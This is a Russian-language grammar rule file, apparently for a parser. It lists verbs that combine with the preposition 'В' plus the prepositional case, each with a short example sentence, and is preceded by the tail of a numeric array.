-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
